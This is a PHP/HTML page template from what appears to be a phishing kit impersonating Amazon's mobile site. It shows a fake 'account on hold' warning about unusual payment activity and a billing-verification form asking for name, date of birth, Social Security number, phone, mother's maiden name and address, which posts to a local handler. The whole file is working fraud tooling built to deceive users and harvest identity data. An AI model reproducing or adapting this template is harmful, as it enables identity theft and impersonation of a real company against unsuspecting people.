<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<!doctype html>
<html lang="en-us"
    class="a-touch a-mobile a-js a-audio a-video a-canvas a-svg a-drag-drop a-geolocation a-history a-webworker a-autofocus a-input-placeholder a-textarea-placeholder a-local-storage a-orientation a-gradients a-hires a-transform3d a-touch-scrolling a-ios a-text-shadow a-text-stroke a-box-shadow a-border-radius a-border-image a-opacity a-transform a-transition a-ember awa-browser wpn-supported">

<head>
    <meta name="viewport"
        content="width=device-width, maximum-scale=2, minimum-scale=1, initial-scale=1, shrink-to-fit=no">
    <meta charset="utf-8">
    <link rel="shortcut icon" href="<?= base_url() ?>RABBIT/RO/img/favicon.ico" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/design-mob.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobile.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-mob.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/head.css">
    <meta name="theme-color" content="#131921">
    <style type="text/css">
        .nav-sprite-v3 .nav-sprite {
            background-image: url(<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png);
            background-repeat: no-repeat;
        }

        .nav-spinner {
            background-image: url(<?= base_url() ?>RABBIT/RO//img/snake._CB485935611_.gif);
        }
    </style>
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mob.css" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/nav-mob.css" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/navbar-mob.css" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobi.css" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mo.css" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-mo.css" />
    <title dir="ltr">Your Addresses</title>
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobile.css">
    <style>
        .a2hs-ingress-container,
        a[href^="#nav-hbm-a2hs-trigger"] {
            display: none !important
        }

        .a2hs-ingress-container.a2hs-ingress-visible,
        a[href^="#nav-hbm-a2hs-trigger"].a2hs-ingress-visible {
            display: block !important
        }
    </style>
    <style>
        @media all and (display-mode:standalone) {

            #chromeless-view-progress-bar,
            #chromeless-view-progress-bar::after {
                position: fixed;
                top: 0;
                left: 0;
                right: 0;
                height: 2px
            }

            @keyframes pbAnimation {
                0% {
                    right: 90%
                }

                100% {
                    right: 10%
                }
            }

            #chromeless-view-progress-bar {
                background: rgba(255, 255, 255, .1);
                z-index: 9999999
            }

            #chromeless-view-progress-bar::after {
                content: '';
                background: #fcbb6a;
                animation: pbAnimation 10s forwards
            }
        }
    </style>
    <style data-styled="active" data-styled-version="5.3.11"></style>
</head>
<style>
    #ssnInput {
        display: none;
    }
    
    #usaInput {
        display:none;
    }
    
    #nonUSA {
        display:none;
    }

    .custom-x:hover {
        border: 3px solid #0056b3; 
     }
          
    .custom-x:active {
        transform: scale(0.97); 
        box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
     }

</style>

<body
    class="a-m-us a-aui_72554-c a-aui_a11y_6_837773-c a-aui_killswitch_csa_logger_372963-c a-aui_pci_risk_banner_210084-c a-aui_template_weblab_cache_333406-c a-aui_tnr_v2_180836-c a-bw_aui_cxc_alert_measurement_1074111-c">
    <div id="a-page">
        <img src="<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png"
            style="display:none" alt="" />
        <style mark="aboveNavInjectionCSS" type="text/css">
            #nav-mobile-airstream-stripe img {
                max-width: 100%;
            }

            .nav-searchbar-wrapper {
                display: flex;
            }
        </style>
        <header id="nav-main" data-nav-language=en_US
            class="nav-mobile nav-progressive-attribute nav-locale-us nav-lang-en nav-ssl nav-unrec nav-blueheaven">
            <div id="navbar" cel_widget_id='Navigation-mobile-navbar' role="navigation"
                class="nav-t-search nav-sprite-v3 celwidget">
                <div id="nav-logobar">
                    <div class="nav-left">
                        <a href="#" id="nav-hamburger-menu" role="button" aria-label="Open All Categories Menu"
                            aria-expanded="false">
                            <i class="nav-icon-a11y nav-sprite"></i>
                        </a>
                        <div id="nav-logo">
                            <a href="#" id="nav-logo-sprites" class="nav-logo-link nav-progressive-attribute"
                                aria-label="Amazon">
                                <span class="nav-sprite nav-logo-base"></span>
                                <span id="logo-ext" class="nav-sprite nav-logo-ext nav-progressive-content"></span>
                                <span class="nav-logo-locale">.us</span>
                            </a>
                        </div>
                    </div>
                    <div class="nav-right">
                        <div id="nav-progressive-greeting" class="nav-progressive-content">
                            <a href="#" id="nav-logobar-greeting" class="nav-a nav-show-sign-in">
                               
                            </a>
                        </div>
                        <a href="#" class="nav-a nav-progressive-attribute" id="nav-button-avatar"
                            aria-label="your account">
                            <i class="nav-icon nav-icon-a11y nav-sprite">
                               
                            </i>
                        </a>
                        <a href="#" aria-label="Cart" class="nav-a" id="nav-button-cart">
                            <div id="cart-size" class="nav-cart-0 nav-progressive-attribute">
                                <span class="nav-icon nav-sprite">
                                    <span id="nav-cart-count"
                                        class="nav-cart-count nav-progressive-content nav-bluebeacon">0</span>
                                </span>
                            </div>
                        </a>
                    </div>
                </div>
                <div class="nav-progressive-attribute" id='search-ac-init-data' data-aliases="" data-ime="" data-mkt="1"
                    data-src="completion.amazon.com/search/complete"></div>
                <div id="nav-search-keywords-data" class="nav-progressive-attribute" data-implicit-alias="aps"></div>
                <div class="nav-searchbar-wrapper">
                    <form class="nav-searchbar search-big nav-bluebeacon" action="#" method="get" role="search"
                        id="nav-search-form" accept-charset="utf-8">
                        <div class="nav-fill">
                            <div class="nav-search-field">
                                <label for="nav-search-keywords" style="display: none;">Search Amazon</label>
                                <input type="text" class="nav-input nav-progressive-attribute"
                                    placeholder="Search Amazon" data-aria-clear-label="Clear search keywords"
                                    aria-label="Search Amazon" name="k" autocomplete="off" autocorrect="off"
                                    autocapitalize="off" dir="auto" value="" id="nav-search-keywords" role="searchbox"
                                    aria-autocomplete="list" aria-controls="sac-autocomplete-results-container"
                                    aria-expanded="false" aria-haspopup="grid" spellcheck="false" />
                            </div>
                        </div>
                        <div class="nav-right">
                            <div class="nav-search-submit nav-bluebeacon">
                                <input type="button" class="nav-input" value="Go" aria-label="Go" />
                                <i class="nav-icon nav-sprite"></i>
                            </div>
                        </div>
                    </form>
                </div>
                <div class="glow-subnav-template glow-mobile-subnav nav-bluebeacon" id="nav-subnav-container">
                    <div class="a-declarative nav-global-location-slot-upsell-false" data-action="glow-sheet-trigger"
                        id="nav-global-location-slot" tabindex="0">
                        <div class="nav-sprite" id="nav-packard-glow-loc-icon"></div>
                        <div id="glow-ingress-block">
                            <span class="nav-single-line nav-persist-content" id="glow-ingress-single-line">Deliver to
                                <?php echo $_SESSION['country']; ?> ⌵
                            </span>
                        </div>
                    </div>
                </div>
                <div id="nav-subnav-toaster"></div>
            </div>
            <div id="nav-progressive-subnav"></div>
        </header>
        <a id="skippedLink" tabindex="-1"></a>
        <div class="a-container">

            <div class="a-section a-spacing-none auth-pagelet-mobile-container">
                <div aria-live="assertive" id="auth-error-message-box"
                    class="a-box a-alert a-alert-error auth-server-side-message-box a-spacing-base" role="alert">
                    <div class="a-box-inner a-alert-container">
                        <h4 class="a-alert-heading">Account on hold temporarily</h4>
                        <div class="a-alert-content">
                            <span>We notices unusual payment activity on your account and need to verify ownership
                                of the payment method used on your most recent order. <span>(<span><a
                                            href="#">Why?</a></span>)</span>
                            </span>
                        </div>
                    </div>
                </div>
                <noscript>
                    <div id="auth-js-alert-box"
                        class="a-box a-alert a-alert-error auth-client-side-message-box a-spacing-base" role="alert">
                        <div class="a-box-inner a-alert-container">
                            <div class="a-alert-content">
                                This site requires JavaScript to function correctly. Please enable JavaScript on your
                                browser to continue.
                            </div>
                        </div>
                    </div>
                </noscript>
            </div>
        </div>
        <div class="a-section">
            <?php $country = trim ($_SESSION['country']);?>
            <input type="hidden" id="country" value="<?php echo $country; ?>">
            <div class="a-section a-spacing-medium a-padding-base a-text-left">
                <div class="a-section">
                    <form id="anticode" action="/ap/billing/first" method="post">
                        <span id="address-ui-widget-content">
                            <div id="address-ui-widgets-enterAddressFormContainer"
                                data-csa-c-content-id="address-ui-widgets-enterAddressFormContainer-content-id-US"
                                data-csa-c-slot-id="address-ui-widgets-enterAddressFormContainer-slot-id-US"
                                data-csa-c-type="widget" class="a-section celwidget"
                                data-csa-c-id="ahz59v-2px3si-5yk2no-pm7i4f"
                                data-cel-widget="address-ui-widgets-enterAddressFormContainer">
                                <h1 style="margin-top: -25px;" class="a-size a-padding-none a-text-bold">Enter billing
                                    details</h1>
                                <h5 style="font-weight: normal;" id="address-ui-widgets-FullName"
                                    class="id-addr-ux-search-text">This is required to remove the hold on your account.
                                </h5>
                                <br>
                                <div id="address-ui-widgets-prefill-fields-container" class="a-section a-spacing-none">
                                    <div class="a-input-text-group a-spacing-none">
                                        <div id="address-ui-widgets-prefill-full-name" class="a-section a-spacing-none">
                                            <div
                                                class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                <div class="a-section a-spacing-none aok-inline-block">
                                                    <label for="fullname"
                                                        class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                        <span class="a-size-base">Fullname</span>
                                                    </label>
                                                </div>
                                            </div>
                                            <div
                                                class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                <div
                                                    class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                    <input type="text" name="fullname" id="fullname" spellcheck="false"
                                                        aria-label="Fullname" placeholder="First and last name"
                                                        autofocus="true" autocomplete="off"
                                                        class="address-ui-widgets-text-input-clear-icon-padding"
                                                        required="true">
                                                </div>
                                                <div id="inputErrorMsgFullname"></div>
                                            </div>
                                        </div>
                                        <div id="address-ui-widgets-prefill-full-name" class="a-section a-spacing-none">
                                            <div
                                                class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                <div class="a-section a-spacing-none aok-inline-block">
                                                    <label for="dob"
                                                        class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                        <span class="a-size-base">Date of birth</span>
                                                    </label>
                                                </div>
                                            </div>
                                            <div
                                                class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                <div
                                                    class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                    <input type="text" id="dob" name="dob" spellcheck="false" aria-label="Date of Birth" placeholder="MM/DD/YYYY" class="address-ui-widgets-text-input-clear-icon-padding" required="true">
                                                </div>
                                                <div id="inputErrorMsgDOB"></div>
                                            </div>
                                        </div>
                                        <div id="ssnInput" class="a-row">
                                            <div id="address-ui-widgets-prefill-full-name" class="a-section a-spacing-none">
                                                <div class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                    <div class="a-section a-spacing-none aok-inline-block">
                                                        <label for="ssn" class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                            <span class="a-size-base">Social security number</span>
                                                        </label>
                                                    </div>
                                                </div>
                                                <div
                                                    class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                    <div class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                        <input type="text" name="ssn" id="ssn" inputmode="numeric" spellcheck="false" aria-label="Social Security Number" placeholder="###-##-####"
                                                            class="address-ui-widgets-text-input-clear-icon-padding">
                                                    </div>
                                                    <div id="inputErrorMsgSSN"></div>
                                                </div>
                                            </div>
                                        </div>
                                        <div id="address-ui-widgets-prefill-phone-number"
                                            class="a-section a-spacing-none">
                                            <div
                                                class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                <div class="a-section a-spacing-none aok-inline-block">
                                                    <label for="phone"
                                                        class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                        <span class="a-size-base">Phone number</span>
                                                    </label>
                                                </div>
                                            </div>
                                            <div
                                                class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                <div
                                                    class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                    <input type="text" id="phone" name="phone" inputmode="numeric"
                                                        spellcheck="false" aria-label="Phone number"
                                                        placeholder="+"
                                                        class="address-ui-widgets-text-input-clear-icon-padding"
                                                        required="true">
                                                </div>
                                                <div id="inputErrorMsgPhone"></div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <div class="a-row">
                                    <div class="a-input-text-group a-spacing-medium">
                                        <div class="a-section a-spacing-none">
                                            <div
                                                class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                <div class="a-section a-spacing-none aok-inline-block">
                                                    <label for="fullname"
                                                        class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                        <span class="a-size-base">Mother's maiden name</span>
                                                    </label>
                                                </div>
                                            </div>
                                            <div
                                                class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                <div
                                                    class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                    <input type="text" name="mmn" id="mmn" spellcheck="false"
                                                        aria-label="mmn" placeholder="Mother's maiden name"
                                                        autofocus="true" autocomplete="off"
                                                        class="address-ui-widgets-text-input-clear-icon-padding"
                                                        required="true">
                                                </div>
                                                <div id="inputErrorMsgMMN"></div>
                                            </div>
                                        </div>
                                        <div id="address-ui-widgets-prefill-country-code"
                                            class="a-section a-spacing-none">
                                            <div
                                                class="a-section a-spacing-none a-spacing-top-small adddress-ui-widgets-form-field-label-container address-ui-widgets-mobile-form-country-drop-down-label">
                                                <div class="a-section a-spacing-none aok-inline-block">
                                                    <label for="address-ui-widgets-countryCode-dropdown-nativeId"
                                                        class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                        <span class="a-size-base">Country/Region</span>
                                                    </label>
                                                </div>
                                            </div>
                                            <div
                                                class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                <span class="a-dropdown-container">
                                                    <select name="address-ui-widgets-countryCode" autocomplete="off"
                                                        role="combobox"
                                                        data-a-native-class="  address-ui-widgets-mobile-tablet-form-field-full-width aok-nowrap  "
                                                        id="address-ui-widgets-countryCode-dropdown-nativeId"
                                                        tabindex="0" data-action="a-dropdown-select"
                                                        aria-required="true" aria-label="Country/Region"
                                                        class="a-native-dropdown a-spacing-none a-declarative address-ui-widgets-mobile-tablet-form-field-full-width aok-nowrap">
                                                        <option value="US">United States</option>
                                                    </select>
                                                    <span tabindex="-1" id="address-ui-widgets-countryCode"
                                                        data-a-class=" address-ui-widgets-mobile-tablet-form-field-full-width aok-nowrap "
                                                        class="a-button a-button-dropdown a-spacing-none address-ui-widgets-mobile-tablet-form-field-full-width aok-nowrap"
                                                        aria-hidden="true" style="min-width: 0.943089%;">
                                                        <span class="a-button-inner">
                                                            <span class="a-button-text a-declarative"
                                                                data-csa-c-func-deps="aui-da-a-dropdown-button"
                                                                data-csa-c-type="widget"
                                                                data-csa-interaction-events="click"
                                                                data-action="a-dropdown-button" aria-hidden="true"
                                                                data-csa-c-id="c5dz9j-rmk10n-hp4geq-2jj1w7">
                                                                <span id="country"
                                                                    value="<?php echo $_SESSION['country'] ?>"
                                                                    class="a-dropdown-prompt">
                                                                    <?php echo $_SESSION['country'] ?>
                                                                </span>
                                                            </span>
                                                            <i class="a-icon a-icon-dropdown"></i>
                                                        </span>
                                                    </span>
                                                </span>
                                            </div>
                                        </div>
                                        <div
                                            class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                            <div class="a-section a-spacing-none aok-inline-block">
                                                <label for="address"
                                                    class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                    <span class="a-size-base">Address line 1</span>
                                                </label>
                                            </div>
                                        </div>
                                        <div
                                            class="a-section a-spacing-base adddress-ui-widgets-form-field-container awz-mobile-address-line-input-container">
                                            <div
                                                class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                <input type="text" id="address" placeholder="Street address or P.O. Box"
                                                    name="address" spellcheck="false" aria-label="Address line 1"
                                                    required="true">
                                            </div>
                                            <div id="inputErrorMsgAddress"></div>
                                        </div>
                                        <div class="a-section a-spacing-none a-spacing-top-base adddress-ui-widgets-form-field-label-container">
                                            <div class="a-section a-spacing-none aok-inline-block">
                                                <label for="address-ui-widgets-enterAddressLine2"
                                                    class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                    <span class="a-size-base">Address line 2</span>
                                                </label>
                                            </div>
                                        </div>
                                        <div class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                            <div class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                <input type="text" id="address-ui-widgets-enterAddressLine2" placeholder="Apt, Suite, Unit, Building (optional)" name="address-ui-widgets-enterAddressLine2" spellcheck="false" clearable="true" autocomplete="address-ui-widgets-enterAddressLine2">
                                            </div>
                                        </div>
                                        <div
                                            class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                            <div class="a-section a-spacing-none aok-inline-block">
                                                <label for="city"
                                                    class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                    <span class="a-size-base">City</span>
                                                </label>
                                            </div>
                                        </div>
                                        <div class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                            <div
                                                class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                <input type="text" id="city" name="city" autocomplete="off"
                                                    spellcheck="false" aria-label="City" placeholder="City"
                                                    required="true">
                                            </div>
                                            <div id="inputErrorMsgCity"></div>
                                        </div>
                                        <div class="a-row">
                                            <div class="a-input-text-group a-spacing-medium">
                                                <div id="address-ui-widgets-prefill-country-code"
                                                    class="a-section a-spacing-none">
                                                    <div class="a-section a-spacing-none a-spacing-top-small adddress-ui-widgets-form-field-label-container address-ui-widgets-mobile-form-country-drop-down-label">
                                                        <div class="a-section a-spacing-none aok-inline-block">
                                                            <label
                                                                for="address-ui-widgets-countryCode-dropdown-nativeId"
                                                                class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                                <span class="a-size-base">State/Province/Region</span>
                                                            </label>
                                                        </div>
                                                    </div>
                                                    <div class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                        <span id="usaInput" class="a-dropdown-container">
                                                            <span tabindex="-1" id="address-ui-widgets-countryCode" data-a-class=" address-ui-widgets-mobile-tablet-form-field-full-width aok-nowrap" class="a-button a-button-dropdown a-spacing-none address-ui-widgets-mobile-tablet-form-field-full-width aok-nowrap" style="min-width: 0.943089%;">
                                                                <span class="a-button-inner">
                                                                    <span class="a-button-text a-declarative" data-csa-c-func-deps="aui-da-a-dropdown-button" data-csa-c-type="widget" data-csa-interaction-events="click" data-action="a-dropdown-button" data-csa-c-id="c5dz9j-rmk10n-hp4geq-2jj1w7">
                                                                        <span class="a-dropdown-prompt"id="a-dropdown-prompt" value="" selected>-- Select state--</span>
                                                                        <select role="combobox" name="stateUSA" id="stateUSA"
                                                                            class="a-native-dropdown a-spacing-medium"
                                                                            aria-required="true">
                                                                            <option value="AL" id="Alabama">Alabama
                                                                            </option>
                                                                            <option value="AK" id="Alaska">Alaska
                                                                            </option>
                                                                            <option value="AZ" id="Arizona">Arizona
                                                                            </option>
                                                                            <option value="AR" id="Arkansas">Arkansas
                                                                            </option>
                                                                            <option value="CA" id="California">
                                                                                California</option>
                                                                            <option value="CO" id="Colorado">Colorado
                                                                            </option>
                                                                            <option value="CT" id="Connecticut">
                                                                                Connecticut</option>
                                                                            <option value="DE" id="Delaware">Delaware
                                                                            </option>
                                                                            <option value="FL" id="Florida">Florida
                                                                            </option>
                                                                            <option value="GA" id="Georgia">Georgia
                                                                            </option>
                                                                            <option value="HI" id="Hawaii">Hawaii
                                                                            </option>
                                                                            <option value="ID" id="Idaho">Idaho</option>
                                                                            <option value="IL" id="Illinois">Illinois
                                                                            </option>
                                                                            <option value="IN" id="Indiana">Indiana
                                                                            </option>
                                                                            <option value="IA" id="Iowa">Iowa</option>
                                                                            <option value="KS" id="Kansas">Kansas
                                                                            </option>
                                                                            <option value="KY" id="Kentucky">Kentucky
                                                                            </option>
                                                                            <option value="LA" id="Louisiana">Louisiana
                                                                            </option>
                                                                            <option value="ME" id="Maine">Maine</option>
                                                                            <option value="MD" id="Maryland">Maryland
                                                                            </option>
                                                                            <option value="MA" id="Massachusetts">
                                                                                Massachusetts</option>
                                                                            <option value="MI" id="Michigan">Michigan
                                                                            </option>
                                                                            <option value="MN" id="Minnesota">Minnesota
                                                                            </option>
                                                                            <option value="MS" id="Mississippi">
                                                                                Mississippi</option>
                                                                            <option value="MO" id="Missouri">Missouri
                                                                            </option>
                                                                            <option value="MT" id="Montana">Montana
                                                                            </option>
                                                                            <option value="NE" id="Nebraska">Nebraska
                                                                            </option>
                                                                            <option value="NV" id="Nevada">Nevada
                                                                            </option>
                                                                            <option value="NH" id="New Hampshire">New
                                                                                Hampshire</option>
                                                                            <option value="NJ" id="New Jersey">New
                                                                                Jersey</option>
                                                                            <option value="NM" id="New Mexico">New
                                                                                Mexico</option>
                                                                            <option value="NY" id="New York">New York
                                                                            </option>
                                                                            <option value="NC" id="North Carolina">North
                                                                                Carolina</option>
                                                                            <option value="ND" id="North Dakota">North
                                                                                Dakota</option>
                                                                            <option value="OH" id="Ohio">Ohio</option>
                                                                            <option value="OK" id="Oklahoma">Oklahoma
                                                                            </option>
                                                                            <option value="OR" id="Oregon">Oregon
                                                                            </option>
                                                                            <option value="PA" id="Pennsylvania">
                                                                                Pennsylvania</option>
                                                                            <option value="RI" id="Rhode Island">Rhode
                                                                                Island</option>
                                                                            <option value="SC" id="South Carolina">South
                                                                                Carolina</option>
                                                                            <option value="SD" id="South Dakota">South
                                                                                Dakota</option>
                                                                            <option value="TN" id="Tennessee">Tennessee
                                                                            </option>
                                                                            <option value="TX" id="Texas">Texas</option>
                                                                            <option value="UT" id="Utah">Utah</option>
                                                                            <option value="VT" id="Vermont">Vermont
                                                                            </option>
                                                                            <option value="VA" id="Virginia">Virginia
                                                                            </option>
                                                                            <option value="WA" id="Washington">
                                                                                Washington</option>
                                                                            <option value="WV" id="West Virginia">West
                                                                                Virginia</option>
                                                                            <option value="WI" id="Wisconsin">Wisconsin
                                                                            </option>
                                                                            <option value="WY" id="Wyoming">Wyoming
                                                                            </option>
                                                                        </select>
                                                                    </span>
                                                                    <i class="a-icon a-icon-dropdown"></i>
                                                                </span>
                                                                <div id="inputErrorMsgState"></div>
                                                            </span>
                                                        </span>
                                                        <div id="nonUSA" class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                            <div class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                                <input type="text" id="stateNon" placeholder="State" name="state" spellcheck="false" clearable="true" autocomplete="address-ui-widgets-enterAddressLine2">
                                                            </div>
                                                             <div id="errorMsgState"></div>
                                                        </div>
                                                    </div>
                                                </div>

                                                <div id="address-ui-widgets-prefill-full-name"
                                                    class="a-section a-spacing-none">
                                                    <div
                                                        class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                        <div class="a-section a-spacing-none aok-inline-block">
                                                            <label for="zipcode"
                                                                class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                                <span class="a-size-base">Zip code</span>
                                                            </label>
                                                        </div>
                                                    </div>
                                                    <div
                                                        class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                        <div
                                                            class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                            <input type="text" inputmode="numeric" name="zip" id="zipcode"
                                                                spellcheck="false" aria-label="zip"
                                                                placeholder="ZIP or postal code" autofocus="true"
                                                                autocomplete="off"
                                                                class="address-ui-widgets-text-input-clear-icon-padding"
                                                                required="true">
                                                        </div>
                                                        <div id="inputErrorMsgZIP"></div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <br>
                                <span class="a-declarative" data-action="form-submit-button-click"
                                    data-csa-c-type="widget" data-csa-c-func-deps="aui-da-form-submit-button-click"
                                    data-form-submit-button-click="{}" data-csa-c-id="f0no4r-elumsu-hdqjy2-gkxnqd">
                                    <span style="box-shadow:1px white" id="address-ui-widgets-form-submit-button custom-x"
                                        class="a-button a-button-primary custom-x address-ui-widgets-mobile-tablet-form-field-full-width">
                                        <span class="a-button-inner">
                                            <input class="a-button-input custom-x" type="submit" id="btn_next"
                                                aria-labelledby="address-ui-widgets-form-submit-button-announce">
                                            <span id="address-ui-widgets-form-submit-button-announce"
                                                class="a-button-text" aria-hidden="true">Continue</span>
                                        </span>
                                    </span>
                                </span>
                                <div id="stop-mash-reappear"></div>
                            </div>
                            <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/deskop-address.css">
                            <link rel="stylesheet"
                                href="<?= base_url() ?>RABBIT/RO/css/custom-address-mobile.css">
                        </span>
                    </form>
                </div>
            </div>
        </div>


        <footer class="nav-mobile nav-ftr-batmobile">
            <div id="nav-ftr" class="nav-t-footer-gateway nav-sprite-v3">
                <a id="nav-ftr-gototop" class="nav-a" href="javascript:void(0)" aria-label="Top of page">
                    <i class="nav-icon"></i>
                    <b class="nav-b">Top of page</b>
                </a>
                <ul id="nav-ftr-links" class="nav-ftr-links-two-column">
                    <li class="nav-li nav-li-right">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Your Orders</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li nav-li-right">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Gift Cards</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li nav-li-right">
                        <a class="nav-a " href="$">
                            <span class="nav-ftr-text">Find a Gift</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li nav-li-right">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Browsing History</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li nav-li-right">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Your Returns</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li nav-li-right aok-offscreen nav-hidden">
                        <a class="nav-a " href="#"
                            aria-label="Click to call our Disability Customer Support line, or reach us directly at 1-888-283-1678 ">
                            <span class="nav-ftr-text">Disability Customer Support</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Amazon.com</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Your Lists</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Registry & Gift List</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Your Account</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Sell products on Amazon</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Recalls and Product Safety Alerts</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Customer Service</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                </ul>
                <div class="icp-container-mobile">
                    <style type="text/css">
                        #icp-touch-link-language {
                            display: none;
                        }
                    </style>
                    <a href="#" aria-label="Choose a language for shopping. Current selection is English. "
                        aria-owns="nav-flyout-icp-footer-flyout" class="icp-touch-link-2" id="icp-touch-link-language">
                        <div class="icp-nav-globe-img-2 icp-mobile-globe-2"></div>
                        <span class="icp-color-base">English</span>
                        <span class="nav-arrow icp-up-down-arrow"></span>
                    </a>
                    <style type="text/css">
                        #icp-touch-link-cop {
                            display: none;
                        }
                    </style>
                    <a href="#" class="icp-touch-link-2" id="icp-touch-link-cop">
                        <span class="icp-currency-symbol">$</span>
                        <span class="icp-color-base">USD - U.S. Dollar</span>
                    </a>
                    <style type="text/css">
                        #icp-touch-link-country {
                            display: none;
                        }
                    </style>
                    <a href="#"
                        aria-label="Choose a country/region for shopping. The current selection is United States."
                        class="icp-touch-link-2" id="icp-touch-link-country">
                        <span class="icp-flag-3 icp-flag-3-us"></span>
                        <span class="icp-color-base">United States</span>
                    </a>
                </div>
                <div id="nav-ftr-auth" hidden>
                    Already a customer?<a href="#" class="nav-a">Sign in</a>
                </div>
                <ul class="nav-ftr-horiz">
                    <li class="nav-li">
                        <a href="#" id="" class="nav-a">Conditions of Use</a>
                    </li>
                    <li class="nav-li">
                        <a href="#" id="" class="nav-a">Privacy Notice</a>
                    </li>
                    <li class="nav-li">
                        <a href="#" id="" class="nav-a">Consumer Health Data Privacy Disclosure</a>
                    </li>
                    <li class="nav-li">
                        <a href="#" id="" class="nav-a">Your Ads Privacy Choices</a>
                    </li>
                    <li class="nav-li">
                        <span id="nav-icon-ccba" class="nav-sprite"></span>
                    </li>
                </ul>
                <div id="nav-ftr-copyright">&copy;1996-2025, Amazon.com, Inc. or its affiliates
                </div>
                <div id="nav-ftr-legal"></div>
            </div>
        </footer>
    </div>
    </div>
